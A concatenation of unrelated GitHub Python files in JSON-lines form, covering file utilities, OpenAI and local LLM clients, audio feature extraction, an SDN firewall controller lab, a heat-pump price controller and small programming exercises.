f.close()\n print(new_file + \" created.\")\n\n else:\n print(new_file + \" already existed.\")\n\n\nclass Config:\n def __init__(self, filename):\n \"\"\"\n 配置初始化\n :param filename:配置文件全路径\n \"\"\"\n self.filename = filename\n\n def read(self):\n \"\"\"\n 获取配置文件\n :return:\n \"\"\"\n if self.filename == \"\" or self.filename is None:\n raise ValueError(\"请输入正确的配置文件名！\")\n if not os.path.exists(self.filename):\n raise ValueError(\"配置文件不存在！\")\n\n config = configparser.ConfigParser()\n config.read(self.filename)\n return config\n\n def sections(self):\n \"\"\"\n 获取配置组名\n :return:\n \"\"\"\n return self.read().sections()\n\n def get(self, section, key=None):\n \"\"\"\n 获取配置值\n :param section: 配置组名称\n :param key: 配置组中的配置名\n :return:\n \"\"\"\n if section == \"\" or section is None:\n raise ValueError(\"配置组名不能为空！\")\n if key != \"\" and key is not None:\n return self.read()[section][key]\n\n return self.read()[section]\n\n\ndef count_dir_size(dir_path):\n \"\"\"\n 获取目录大小\n :param dir_path: 目录\n :return:\n \"\"\"\n size = 0\n for root, dirs, files in os.walk(dir_path):\n size += sum([os.path.getsize(os.path.join(root, name)) for name in files])\n return size\n\n\ndef size_unit_format(size, is_speed=False, precision=2):\n \"\"\"\n 文件大小自动转换\n byte ---- (B)\n kilobyte ---- (KB)\n megabyte ---- (MB)\n gigabyte ---- (GB)\n terabyte ---- (TB)\n petabyte ---- (PB)\n exabyte ---- (EB)\n zettabyte ---- (ZB)\n yottabyte ---- (YB)\n :param size: 大小\n :param is_speed: 是否为传输速率计算(bps/bit)\n :param precision: 精确到小数点位数\n :return:\n \"\"\"\n if not (isinstance(size, float) or isinstance(size, int)):\n raise TypeError('需要浮点数或整数！')\n if size <= 0:\n raise ValueError('数字必须大于零')\n formats = ['KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB']\n unit = 1000.0 if is_speed else 1024.0\n for i in formats:\n size /= unit\n if size < unit:\n return f'{round(size, precision)}{i}'\n return f'{round(size, precision)}{i}'\n\n\ndef copy_dir(dir, newdir):\n \"\"\"\n 复制目录到指定位置\n import shutil\n shutil.copytree(user_data, mkdtemp, True)\n import distutils.dir_util\n distutils.dir_util.copy_tree(user_data, mkdtemp)\n :param dir: 需拷贝的文件夹\n :param newdir: 是拷贝的地方\n :return:\n \"\"\"\n for p in os.listdir(dir):\n filepath = os.path.join(newdir, p)\n old_path = os.path.join(dir, p)\n if os.path.isdir(old_path):\n os.mkdir(filepath)\n copy_dir(old_path, filepath)\n if os.path.isfile(old_path):\n copy(old_path, filepath)\n","repo_name":"bajins/scripts_python","sub_path":"utils/file_util.py","file_name":"file_util.py","file_ext":"py","file_size_in_byte":8500,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"18"} +{"seq_id":"37613078676","text":"import argparse\nimport copy\nimport os\nimport openai\nimport ruamel.yaml as yaml\nimport time\n\nDEFAULT_ENGINE_EDIT = 'text-davinci-edit-001'\nDEFAULT_ENGINE_COMPLETION = 'text-davinci-002'\n\nyaml.allow_unicode = True\nyaml.width = 80\n\ndef setApiKey():\n try:\n import secretenvvars\n openai.api_key = secretenvvars.openai_api_key\n except ImportError:\n openai.api_key = os.environ.get(\"OPENAI_API_KEY\")\n if not openai.api_key:\n print(\"API key not found\")\n return False\n return True\n\ndef generate(promptFile):\n with open(promptFile) as promptsRead:\n rawPrompts = yaml.safe_load(promptsRead)\n newPrompt = rawPrompts[-1]\n if 'output' in newPrompt:\n newPrompt = copy.deepcopy(newPrompt)\n rawPrompts.append(newPrompt)\n if 'instruction' in newPrompt:\n # engine = 'code-davinci-edit-001'\n engine = newPrompt.get('engine', DEFAULT_ENGINE_EDIT)\n temperature = 0.7\n response = openai.Edit.create(engine=engine, input=newPrompt[\"input\"], instruction=newPrompt[\"instruction\"], temperature=temperature)\n newPrompt['output'] = response.choices[0].text.strip()\n else:\n engine = newPrompt.get('engine', DEFAULT_ENGINE_COMPLETION)\n input = newPrompt['input']\n top_p = 0.9\n temperature = 0.9\n output = get_completion(input, temperature, top_p)\n one_new = dict(top_p=top_p, temperature=temperature, output=output)\n rawPrompts.append(one_new)\n with open(promptFile, 'w') as promptsToWrite:\n yaml.dump(rawPrompts, promptsToWrite, default_style=\"|\")\n\n\ndef get_completion(input, temperature, top_p):\n time.sleep(2)\n response = openai.Completion.create(engine=DEFAULT_ENGINE_COMPLETION, prompt=input, temperature=temperature, max_tokens=256, frequency_penalty=1, top_p=top_p)\n return response.choices[0].text.strip()\n\ndef listEngines():\n engines = openai.Engine.list()\n engineNames = [engine.id for engine in engines.data]\n print(engineNames)\n\ndef parseArgs():\n parser = argparse.ArgumentParser()\n subparsers = parser.add_subparsers(dest=\"subcommand\")\n parserNew = subparsers.add_parser(\"new\", help=\"Create new prompt file\")\n parserGen = subparsers.add_parser(\"gen\", help=\"Generate new output from prompt\")\n parserListEngines = subparsers.add_parser(\"listEngines\")\n parserGen.add_argument(\"promptFile\")\n\n args = parser.parse_args()\n if not setApiKey():\n return\n if args.subcommand == \"gen\":\n generate(args.promptFile)\n elif args.subcommand == \"listEngines\":\n listEngines()\n else:\n print(\"TODO: finish arg parsing\")\n\n\nif __name__ == \"__main__\":\n parseArgs()","repo_name":"makeart-ai/prompt-engineering","sub_path":"oldmain.py","file_name":"oldmain.py","file_ext":"py","file_size_in_byte":2753,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"39024562125","text":"import os\nimport sys\nimport tqdm\nimport numpy as np\nimport librosa\nfrom matplotlib import pyplot as plt\n \nroot = \"./dataset/abaw5/\"\n\n\ndata_types = ['train', 'val', 'test']\ndir_name = 'mfcc_align'\n\nfor dt in data_types:\n print(dt)\n\n wav_files = os.listdir(os.path.join(root, \"raw\", dt, \"wav\"))\n wav_files = sorted(wav_files)\n\n save_path = os.path.join(root, \"features\", dir_name, dt)\n\n if not os.path.exists(save_path):\n os.makedirs(save_path, exist_ok=True)\n\n for wav in tqdm.tqdm(wav_files, desc=\"extracting mfcc features\") :\n input_path = os.path.join(root, \"raw\", dt, \"wav\", wav)\n output_path = os.path.join(save_path, wav.replace(\".wav\", \".npy\"))\n\n feat_path = output_path.replace(dir_name, 'res18_aff')\n feat_array = np.load(feat_path)\n nv = feat_array.shape[0]\n\n y, sr = librosa.load(input_path, sr=None)\n # mfccs = librosa.feature.mfcc(y=y, sr=sr, n_mfcc=128)\n \n hop_l = int(np.ceil(len(y) / nv))\n audio_mfccs = librosa.feature.mfcc(y=y, sr=sr, n_mfcc=40, n_fft=1024, hop_length=hop_l, pad_mode='reflect', htk=True)\n\n na = audio_mfccs.shape[1]\n\n if na != nv:\n if na < nv:\n audio_mfccs = np.concatenate([audio_mfccs, audio_mfccs[:, na-nv:]], axis=-1)\n else:\n audio_mfccs = audio_mfccs[:, :nv]\n\n # audio_mfccs = audio_mfccs.reshape(-1, 40)\n aud = audio_mfccs[8:].transpose(1, 0)\n np.save(output_path, aud)\n\n print(\"finish ALL\", dt)\n\n ","repo_name":"HKUST-NISL/ABAW5","sub_path":"tools/extract_mfcc_align.py","file_name":"extract_mfcc_align.py","file_ext":"py","file_size_in_byte":1527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"19996201349","text":"#!/usr/bin/env python3\n\"\"\"\nterminates instances and purges them from known_hosts\n\"\"\"\n# standard library modules\nimport argparse\nimport json\nimport logging\nimport os\nimport signal\nimport subprocess\nimport sys\n# third-part\nimport psutil\n# neocortix modules\nimport ncscli.ncs as ncs\n\nlogger = logging.getLogger(__name__)\n\n\ndef findForwarders():\n mappings = []\n for proc in psutil.process_iter():\n try:\n procInfo = proc.as_dict(attrs=['pid', 'name', 'cmdline'])\n except psutil.NoSuchProcess:\n continue\n if 'ssh' == procInfo['name']:\n #logger.info( 'procInfo: %s', procInfo )\n cmdLine = procInfo['cmdline']\n #logger.info( 'cmdLine: %s', cmdLine )\n #TODO maybe a better way to identify forwarders\n if '-fNT' in cmdLine:\n mapping = {}\n for arg in cmdLine:\n # 'neocortix.com' is expected in the hostname of each NCS instance\n if 'neocortix.com' in arg:\n host = arg.split('@')[1]\n #logger.info( 'forwarding to host %s', host )\n mapping['host'] = host\n mapping['pid'] = procInfo['pid']\n if ':localhost:' in arg:\n part = arg.split( ':localhost:')[0].split(':')[1]\n assignedPort = int( part )\n #logger.info( 'forwarding port %d', assignedPort)\n mapping['port'] = assignedPort\n if mapping:\n #logger.debug( 'forwarding port %d to %s', mapping['port'], mapping['host'] )\n mappings.append( mapping )\n #logger.info( 'mappings: %s', mappings )\n return mappings\n\n\nif __name__ == \"__main__\":\n logFmt = '%(asctime)s %(levelname)s %(module)s %(funcName)s %(message)s'\n logDateFmt = '%Y/%m/%d %H:%M:%S'\n formatter = logging.Formatter(fmt=logFmt, datefmt=logDateFmt )\n logging.basicConfig(format=logFmt, datefmt=logDateFmt)\n logger.setLevel(logging.INFO)\n logger.debug( 'the logger is configured' )\n\n ap = argparse.ArgumentParser( description=__doc__, fromfile_prefix_chars='@' )\n ap.add_argument( 'inFilePath', help='file path of json instance descriptions' )\n ap.add_argument( '--authToken', help='the NCS authorization token to use (default uses env var)' )\n args = ap.parse_args()\n\n # use authToken env var if none given as arg\n authToken = args.authToken or os.getenv('NCS_AUTH_TOKEN')\n if not authToken:\n logger.error( 'no authToken given, so not terminating')\n sys.exit(1)\n inFilePath = args.inFilePath\n if os.path.isdir( inFilePath ):\n inFilePath = os.path.join( inFilePath, 'recruitLaunched.json' )\n logger.debug( 'a directory path was given; reading from %s', inFilePath )\n respCode = None\n with open( inFilePath ) as inFile:\n instances = json.load( inFile )\n if not instances:\n logger.info( 'no instances found' )\n respCode = 204\n else:\n forwarders = findForwarders()\n forwardersByHost = { fw['host']: fw for fw in forwarders }\n for inst in instances:\n iid = inst['instanceId']\n instHost = inst['ssh']['host']\n if instHost in forwardersByHost:\n pid = forwardersByHost[instHost].get('pid')\n if pid:\n logger.debug( 'cancelling forwarding (pid %d) for %s', pid, iid[0:8] )\n os.kill( pid, signal.SIGTERM )\n\n jobId = instances[0].get('job')\n # terminate only if there's a job id\n if jobId:\n logger.info( 'terminating instances for job %s', jobId )\n respCode = ncs.terminateJobInstances( authToken, jobId )\n else:\n logger.warning( 'no job id in instances file')\n respCode = 500\n ncs.purgeKnownHosts( instances )\n if respCode in [200, 204]:\n logger.info( 'finished' )\n sys.exit(0)\n else:\n logger.error( 'error code: %s', respCode )\n sys.exit(2)\n","repo_name":"neocortix/ncscli","sub_path":"examples/neoload/terminateAgents.py","file_name":"terminateAgents.py","file_ext":"py","file_size_in_byte":4180,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"22733852182","text":"import requests\nfrom typing import List\nimport numpy as np\n\n\ndef raise_if_http_error(response : requests.Response) -> None:\n\n if response.status_code >= 300:\n raise requests.HTTPError(\n f\"Server returned status code {response.status_code}. Stated reason is : {response.reason}\"\n )\n\n\nclass LocalLLMClient:\n\n def __init__(self, url : str, prompt_template = \"{prompt}\", verbose : bool = True):\n\n self.url = url\n self.prompt_template = prompt_template\n self.verbose = verbose\n\n # pinging the server to check connection\n res = requests.get(url + \"/ping\")\n if res.status_code >= 300:\n raise requests.HTTPError(f\"Could not connect to server. Status code = {res.status_code}, reason = {res.reason}\")\n \n if self.verbose:\n print(\"Connected to server!\")\n\n def prompt_request(self, prompt : str, temperature : float = 1, stop : List[str] | None = None ):\n\n payload = {\n \"prompt\" : self.prompt_template.format(prompt = prompt), \n \"temperature\" : temperature, \n \"stop\" : stop\n }\n\n response = requests.post(self.url + \"/prompt/\", json = payload)\n\n raise_if_http_error(response)\n\n return response.json()[\"message\"]\n \n def streaming_prompt_request(self, prompt : str, temperature : float = 1, stop : List[str] | None = None ):\n\n payload = {\n \"prompt\" : self.prompt_template.format(prompt = prompt), \n \"temperature\" : temperature, \n \"stop\" : stop\n }\n\n with requests.Session() as session:\n with session.post(self.url + \"/prompt-streaming\", json = payload, stream = True) as resp:\n token : bytes\n for token in resp.iter_content(None):\n if token:\n yield token.decode('utf-8')\n\n\n def __call__(self, prompt : str, temperature : float = 1, stop : List[str] | None = None, stream = False):\n\n if stream:\n return self.streaming_prompt_request(prompt, temperature, stop)\n else:\n return self.prompt_request(prompt, temperature, stop)\n\n\nclass LocalEmbeddingsClient:\n\n def __init__(self, url : str, verbose : bool = True):\n \n self.url = url\n self.verbose = verbose\n\n # pinging the server to check connection\n res = requests.get(url + \"/ping\")\n if res.status_code >= 300:\n raise requests.HTTPError(f\"Could not connect to server. Status code = {res.status_code}, reason = {res.reason}\")\n \n if self.verbose:\n print(\"Connected to server!\")\n\n def encode(self, sentences : str | List[str]) -> np.ndarray:\n\n if isinstance(sentences, str):\n sentences = [sentences]\n elif not isinstance(sentences, list) or any(not isinstance(sentence, str) for sentence in sentences):\n raise ValueError(\"The sentences argument must be a string or a list of strings\")\n \n payload = {\"sentences\" : sentences}\n\n response = requests.post(self.url + \"/encode/\", json = payload)\n\n raise_if_http_error(response)\n\n return np.array(response.json()[\"embeddings\"])\n\n\n\nif __name__ == \"__main__\":\n\n llm = LocalLLMClient(\"http://127.0.0.1:8000\", prompt_template = \"[INST] {prompt} [/INST]\")\n\n for token in llm(\n \"Tell me a short story about how Brazil got its independence\",\n stream= True\n ):\n \n print(token, end=\"\", flush=True)\n print()\n\n encoder = LocalEmbeddingsClient(\"http://127.0.0.1:8000\")\n\n encoding = encoder.encode(\"bunda mole e seca\")\n sentences = [\"opa gangnam style\", \"arroz com feijão é gosotosão\", \"le fish au chocolat\"]\n many_encodings = encoder.encode(sentences)\n\n\n print(encoding)\n print(\"-\" * 10)\n print(many_encodings)\n\n i = np.argmax([np.dot(encoding, encoding2) for encoding2 in many_encodings])\n\n print(sentences[i])\n","repo_name":"TheodoroADS/simple-llm-server","sub_path":"client/llm_client/llm_client.py","file_name":"llm_client.py","file_ext":"py","file_size_in_byte":3958,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"1865028551","text":"import mpi4py.MPI as MPI\nimport numpy as np\n\n'''\nrecvbuf = comm.scatter(sendbuf, rank_of_root_process)\n'''\n\ncomm = MPI.COMM_WORLD # 通过命令行传入的参数np，调用MS-MPI获得一个通讯组，该通讯组定义了一组互相发消息的进程\ncomm_rank = comm.Get_rank() # 为每一个进程分配一个rank\ncomm_size = comm.Get_size() # 这组进程中共有comm_size个进程\n\nif comm_rank == 0:\n # 一定要确保data的长度是np的数量\n data = np.random.rand(comm_size, 3)\n # data = [i for i in range(comm_size)]\n # data = [[1], [2], [3], [4]]\n print(\"all data by rank %d : \" % comm_rank)\n print(data)\nelse:\n data = None\n\nlocal_data = comm.scatter(data, root=0)\nprint(\"rank %d, got : \" % comm_rank)\nprint(local_data) # 接收进程通过local_data获得root节点散播的数据\n","repo_name":"sunlinzhao/PBFT-Demo","sub_path":"demo/Collective_communication/scatter.py","file_name":"scatter.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22902534015","text":"while True:\n n = int(input())\n answer = []\n if n == -1:\n quit()\n for num in range(1, n):\n if n % num == 0:\n answer.append(num)\n if sum(answer) == n:\n bot = \" + \".join(list(map(str, answer)))\n print(f\"{str(n)} = {bot}\")\n else:\n print(f\"{n} is NOT perfect.\")","repo_name":"justinkmoon1/Baekjoon1","sub_path":"9506 약수들의 합.py","file_name":"9506 약수들의 합.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73107400040","text":"# Final Skeleton\n#\n# Hints/Reminders from Lab 3:\n#\n# To check the source and destination of an IP packet, you can use\n# the header information... For example:\n#\n# ip_header = packet.find('ipv4')\n#\n# if ip_header.srcip == \"1.1.1.1\":\n# print \"Packet is from 1.1.1.1\"\n#\n# Important Note: the \"is\" comparison DOES NOT work for IP address\n# comparisons in this way. You must use ==.\n# \n# To send an OpenFlow Message telling a switch to send packets out a\n# port, do the following, replacing with the port number the \n# switch should send the packets out:\n#\n# msg = of.ofp_flow_mod()\n# msg.match = of.ofp_match.from_packet(packet)\n# msg.idle_timeout = 30\n# msg.hard_timeout = 30\n#\n# msg.actions.append(of.ofp_action_output(port = ))\n# msg.data = packet_in\n# self.connection.send(msg)\n#\n# To drop packets, simply omit the action.\n#\n\nfrom pox.core import core\nimport pox.openflow.libopenflow_01 as of\n\nlog = core.getLogger()\n\nclass Final (object):\n \"\"\"\n A Firewall object is created for each switch that connects.\n A Connection object for that switch is passed to the __init__ function.\n \"\"\"\n def __init__ (self, connection):\n # Keep track of the connection to the switch so that we can\n # send it messages!\n self.connection = connection\n\n # This binds our PacketIn event listener\n connection.addListeners(self)\n\n def do_final (self, packet, packet_in, port_on_switch, switch_id):\n # This is where you'll put your code. The following modifications have \n # been made from Lab 3:\n\n ip_header = packet.find('ipv4')\n arp_packet = packet.find('arp')\n tcp_packet = packet.find('tcp')\n icmp_packet = packet.find('icmp')\n\n\n\n if ip_header is not None:\n\n # case of icmp packet\n if icmp_packet is not None:\n\n #switch 1\n if switch_id == 1:\n msg = of.ofp_flow_mod()\n msg.match = of.ofp_match.from_packet(packet)\n msg.idle_timeout = 300\n msg.hard_timeout = 300\n msg.data = packet_in\n\n # if packet is being sent to host 1\n if ip_header.dstip == \"10.1.1.10\":\n msg.actions.append(of.ofp_action_output(port=1)) # send to host 1\n self.connection.send(msg)\n else:\n msg.actions.append(of.ofp_action_output(port=2)) # send to core switch\n self.connection.send(msg)\n \n #switch 2\n elif switch_id == 2:\n msg = of.ofp_flow_mod()\n msg.match = of.ofp_match.from_packet(packet)\n msg.idle_timeout = 300\n msg.hard_timeout = 300\n msg.data = packet_in\n\n # if packet is being sent to host 2\n if ip_header.dstip == \"10.2.2.20\":\n msg.actions.append(of.ofp_action_output(port=1)) # send to host 2\n self.connection.send(msg)\n else:\n msg.actions.append(of.ofp_action_output(port=2)) # send to core switch\n self.connection.send(msg)\n \n\n elif switch_id == 3:\n msg = of.ofp_flow_mod()\n msg.match = of.ofp_match.from_packet(packet)\n msg.idle_timeout = 300\n msg.hard_timeout = 300\n msg.data = packet_in\n\n # if packet is being sent to host 3\n if ip_header.dstip == \"10.3.3.30\":\n msg.actions.append(of.ofp_action_output(port=1)) # send to host 3\n self.connection.send(msg)\n else:\n msg.actions.append(of.ofp_action_output(port=2)) # send to core switch\n self.connection.send(msg)\n \n\n elif switch_id == 5:\n msg = of.ofp_flow_mod()\n msg.match = of.ofp_match.from_packet(packet)\n msg.idle_timeout = 300\n msg.hard_timeout = 300\n msg.data = packet_in\n\n # if packet is being sent to h5\n if ip_header.dstip == \"10.5.5.50\":\n msg.actions.append(of.ofp_action_output(port=1)) # send to host 5\n self.connection.send(msg)\n else:\n msg.actions.append(of.ofp_action_output(port=2)) # send to core switch\n self.connection.send(msg)\n\n \n elif switch_id == 4:\n msg = of.ofp_flow_mod()\n msg.match = of.ofp_match.from_packet(packet)\n msg.idle_timeout = 300\n msg.hard_timeout = 300\n msg.data = packet_in\n\n\n #untrusted host to server\n if ip_header.srcip == \"123.45.67.89\" and ip_header.dstip == \"10.5.5.50\":\n self.connection.send(msg)\n\n #server to untrusted host\n elif ip_header.srcip == \"10.5.5.50\" and ip_header.dstip == \"123.45.67.89\":\n msg.actions.append(of.ofp_action_output(port=1)) \n self.connection.send(msg)\n #untrusted host to any internal host\n elif ip_header.srcip == \"123.45.67.89\":\n #block\n self.connection.send(msg)\n\n #h5\n elif ip_header.dstip == \"10.5.5.50\":\n msg.actions.append(of.ofp_action_output(port=8)) \n self.connection.send(msg)\n #h3\n elif ip_header.dstip == \"10.3.3.30\":\n msg.actions.append(of.ofp_action_output(port=7)) \n self.connection.send(msg)\n #h2\n elif ip_header.dstip == \"10.2.2.20\":\n msg.actions.append(of.ofp_action_output(port=6)) \n self.connection.send(msg)\n #h1\n elif ip_header.dstip == \"10.1.1.10\":\n msg.actions.append(of.ofp_action_output(port=5)) \n self.connection.send(msg)\n #send to untrusted host from any internal host\n elif ip_header.dstip == \"123.45.67.89\":\n msg.actions.append(of.ofp_action_output(port=2)) \n self.connection.send(msg)\n else:\n self.connection.send(msg)\n \n \n #ARP packets\n elif arp_packet is not None:\n msg = of.ofp_flow_mod()\n msg.match = of.ofp_match.from_packet(packet)\n msg.idle_timeout = 300\n msg.hard_timeout = 300\n msg.data = packet_in\n msg.actions.append(of.ofp_action_output(port=of.OFPP_FLOOD))\n self.connection.send(msg)\n\n\n\n\n \n\n\n\n\n \n\n\n\n\n # - port_on_switch: represents the port that the packet was received on.\n # - switch_id represents the id of the switch that received the packet.\n # (for example, s1 would have switch_id == 1, s2 would have switch_id == 2, etc...)\n # You should use these to determine where a packet came from. To figure out where a packet \n # is going, you can use the IP header information.\n \n\n def _handle_PacketIn (self, event):\n \"\"\"\n Handles packet in messages from the switch.\n \"\"\"\n packet = event.parsed # This is the parsed packet data.\n if not packet.parsed:\n log.warning(\"Ignoring incomplete packet\")\n return\n\n packet_in = event.ofp # The actual ofp_packet_in message.\n self.do_final(packet, packet_in, event.port, event.dpid)\n\ndef launch ():\n \"\"\"\n Starts the component\n \"\"\"\n def start_switch (event):\n log.debug(\"Controlling %s\" % (event.connection,))\n Final(event.connection)\n core.openflow.addListenerByName(\"ConnectionUp\", start_switch)\n","repo_name":"ambrosehundal/SimpleRouter","sub_path":"finalcontroller_skel.py","file_name":"finalcontroller_skel.py","file_ext":"py","file_size_in_byte":7102,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"35200275202","text":"# -- coding: utf-8 --\n\"\"\"\n\nThis is a program to control a heat pump and make it work harder when the energy price is low.\nIt gets two APIs: one for the energy price for every hour of the current day,\nand the other for the weather.\nThen it determines if it's low enough to send the output of a Raspberry Pi\ninto the controller of the heating system.\n\nSome code is commented out because RPI.GPIO needs a raspberry to function.\n\n\"\"\"\n\nimport json\nfrom datetime import datetime, date\nimport time\nimport requests\nimport schedule\n\n\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\n#import RPi.GPIO as GPIO\n\n#GPIO.setmode(GPIO.BCM)\n\ndef main(): # Main funcions\n #GPIO.cleanup()\n energy_data = get_data()\n write_to_json(energy_data)\n price_threshold, temperature_threshold, data, temp_c = extract_data()\n process_data(price_threshold, temperature_threshold, data, temp_c,)\n plot_data(price_threshold)\n\ndef get_data(): # Gets current energy price data in Sweden's energy zone 3.\n today = date.today()\n year = today.strftime(\"%Y\")\n month = today.strftime(\"%m\")\n day = today.strftime(\"%d\")\n url = f\"https://www.elprisetjustnu.se/api/v1/prices/{year}/{month}-{day}_SE3.json\"\n try:\n response = requests.get(url, timeout=20)\n return response.json()\n except requests.exceptions.RequestException as error:\n print(\"An error occurred:\", error)\n\ndef get_weather(): # Gets the current day's forecast.\n with open('api_key.txt', encoding=\"utf8\") as read_file:\n api_key = read_file.read().strip().split(\"=\")[1]\n # Gets the weather data.\n url = f\"http://api.weatherapi.com/v1/current.json?key={api_key}&q=kinna&aqi=no\"\n try:\n response = requests.get(url, timeout=20)\n return response.json()\n except requests.exceptions.RequestException as error:\n print(\"An error occurred:\", error)\n\ndef write_to_json(el_data):\n with open(\"price.json\", \"w\", encoding=\"utf8\") as outfile:\n\n json.dump(el_data, outfile)\n\ndef extract_data(): # Calculate the percentile to get the lowest prices for the day.\n today_price_list = []\n with open('price.json', mode='r', encoding=\"utf8\") as read_file:\n data = json.load(read_file)\n for item in data:\n result = item['SEK_per_kWh']\n today_price_list.append(result)\n\n numpy_today_price = np.array(today_price_list)\n # Geting the lowest 40%\n price_threshold = np.percentile(numpy_today_price, 40)\n weather_data = get_weather()\n temp_c = weather_data[\"current\"][\"temp_c\"]\n with open('threshold.txt', mode='r', encoding=\"utf8\") as read_file:\n temperature_threshold = int(read_file.readline().strip())\n\n return price_threshold, temperature_threshold, data, temp_c\n\n# Loops thru the json file and find the matching hour with the current hour.\ndef process_data(price_threshold, temperature_threshold, data, temp_c):\n for item in data:\n start_time = item[\"time_start\"]\n price_kwh = item[\"SEK_per_kWh\"]\n reformated_time = datetime.strptime(start_time, \"%Y-%m-%dT%H:%M:%S%z\")\n hour = reformated_time.hour\n current_hour = datetime.now().hour\n\n # check if the timestart matches the current time\n if current_hour == hour:\n # Looks for if the price is low and temperature is low so the pump can work\n if price_kwh <= price_threshold and temp_c <= temperature_threshold:\n #GPIO.output(18, GPIO.HIGH)\n app_data = {\n \"status\": \"Kör med extern styrning\",\n \"Pris per kwh\": price_kwh,\n \"Pris gräns\": price_threshold,\n \"Ute temperatur\": temp_c,\n \"Temperatur gräns\": temperature_threshold\n }\n with open(\"app_data.json\", \"w\", encoding=\"utf8\") as outfile:\n json.dump(app_data, outfile)\n else:\n #GPIO.output(18, GPIO.LOW)\n app_data = {\n \"status\": \"Körs inte med extern styrning\",\n \"Pris per kwh\": price_kwh,\n \"Pris gräns\": price_threshold,\n \"Ute temperatur\": temp_c,\n \"Temperatur gräns\": temperature_threshold\n }\n with open(\"app_data.json\", \"w\", encoding=\"utf8\") as outfile:\n json.dump(app_data, outfile)\n else:\n pass\n\ndef plot_data(price_threshold):\n plt.style.use('dark_background')\n with open('price.json', 'r', encoding=\"utf8\") as outfile:\n data = json.load(outfile)\n data_frame = pd.DataFrame(data)\n data_frame['hour'] = data_frame['time_start'].apply(lambda x:\n datetime.strptime(x, '%Y-%m-%dT%H:%M:%S%z').hour)\n markers_on = [1]\n axis = data_frame.plot(x='hour', y=\"SEK_per_kWh\", markevery=markers_on)\n axis.axhline(y=price_threshold, color='red', linestyle='--', label='Pris gräns')\n plt.xticks(np.arange(0, 24, 2))\n plt.xlabel('Timme på dagen')\n plt.ylabel('Pris: SEK per kWh')\n plt.legend()\n plt.savefig('graph.png')\n plt.close('all')\n\nschedule.every().second.do(main) # This code will run every hour\nwhile True:\n schedule.run_pending()\n time.sleep(20)\n","repo_name":"Pyroarti/Geothermal-heating-controller","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"27695080881","text":"# Task 6\n# Напишіть функцію, яка переводить ціле число з римського запису до десяткового.\n# Наприклад: XXII -> 22\n\nROMAN = [\n (1000, \"M\"),\n (900, \"CM\"),\n (500, \"D\"),\n (400, \"CD\"),\n (100, \"C\"),\n (90, \"XC\"),\n (50, \"L\"),\n (40, \"XL\"),\n (10, \"X\"),\n (9, \"IX\"),\n (5, \"V\"),\n (4, \"IV\"),\n (1, \"I\"),\n]\n\ndef int_to_roman(number):\n result = \"\"\n for (arabic, roman) in ROMAN:\n (factor, number) = divmod(number, arabic)\n result += roman * factor\n\n return result\n\nprint(int_to_roman(int(input(\"Print number: \"))))","repo_name":"iliukova/Lesson8","sub_path":"Lesson8Task6.py","file_name":"Lesson8Task6.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74336548839","text":"__CONSOLE_IMPORTED = False\ntry:\n\timport console\n\tconsole.set_font('Consolas', 10)\n\t__CONSOLE_IMPORTED = True\nexcept:\n\tpass\nimport colorama\nimport sys\nfrom multiprocessing import Lock\n\nEND = '\\n'\nmu = Lock()\ncolorama.init()\n\nclass __ender(object):\n\tdef end(self):\n\t\tsys.stdout.write(END)\n\t\ndef set_color(r, g, b, clr):\n\tif __CONSOLE_IMPORTED:\n\t\tconsole.set_color(r, g, b)\n\telse:\n\t\tsys.stdout.write(clr)\n\t\ndef info(text):\n\t#mu.acquire()\n\tset_color(0.9, 1, 1, colorama.Fore.LIGHTCYAN_EX)\n\tunsafe_print('[INFO] ')\n\tunsafe_print(text)\n\t#mu.release()\n\treturn __ender()\n\t\ndef err(text):\n\t#mu.acquire()\n\tset_color(1, 0.2, 0.1, colorama.Fore.RED)\n\tunsafe_print('[ERROR] ')\n\tunsafe_print(text)\n\t#mu.release()\n\treturn __ender()\n\t\ndef warn(text):\n\t#mu.acquire()\n\tset_color(1, 1, 0, colorama.Fore.YELLOW)\n\tunsafe_print('[WARN] ')\n\tunsafe_print(text)\n\t#mu.release()\n\treturn __ender()\n\t\ndef debug(text):\n\t#mu.acquire()\n\tset_color(0.8, 0.8, 0.8, colorama.Fore.WHITE)\n\tunsafe_print('[DEBUG] ')\n\tunsafe_print(text)\n\t#mu.release()\n\treturn __ender()\n\ndef unsafe_print(text):\n\treturn sys.stdout.write(text)\n\t\nif __name__ == '__main__':\n\t\n\tinfo('Hello World').end()\n\terr('Hello World').end()\n\twarn('Hello World').end()\n\tdebug('Hello World').end()\n","repo_name":"xtery/xgram","sub_path":"xgram/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":1225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"25802614772","text":"n = input()\r\nnum_only = n.replace('+',' ').replace('-',' ')\r\nnums = list(map(int,num_only.split()))\r\n\r\ncal=[]\r\nfor i in n:\r\n if i == '-' or i==\"+\":\r\n cal.append(i)\r\n\r\nsum = nums[0] \r\nfor i in range(len(cal)):\r\n if cal[i]=='-':\r\n sum -= nums[i+1]\r\n if i < len(cal)-1:\r\n cal[i+1]= '-'\r\n else:\r\n sum += nums[i+1]\r\nprint(sum)","repo_name":"ansdmswl0722/Baekjoon","sub_path":"백준/Silver/1541. 잃어버린 괄호/잃어버린 괄호.py","file_name":"잃어버린 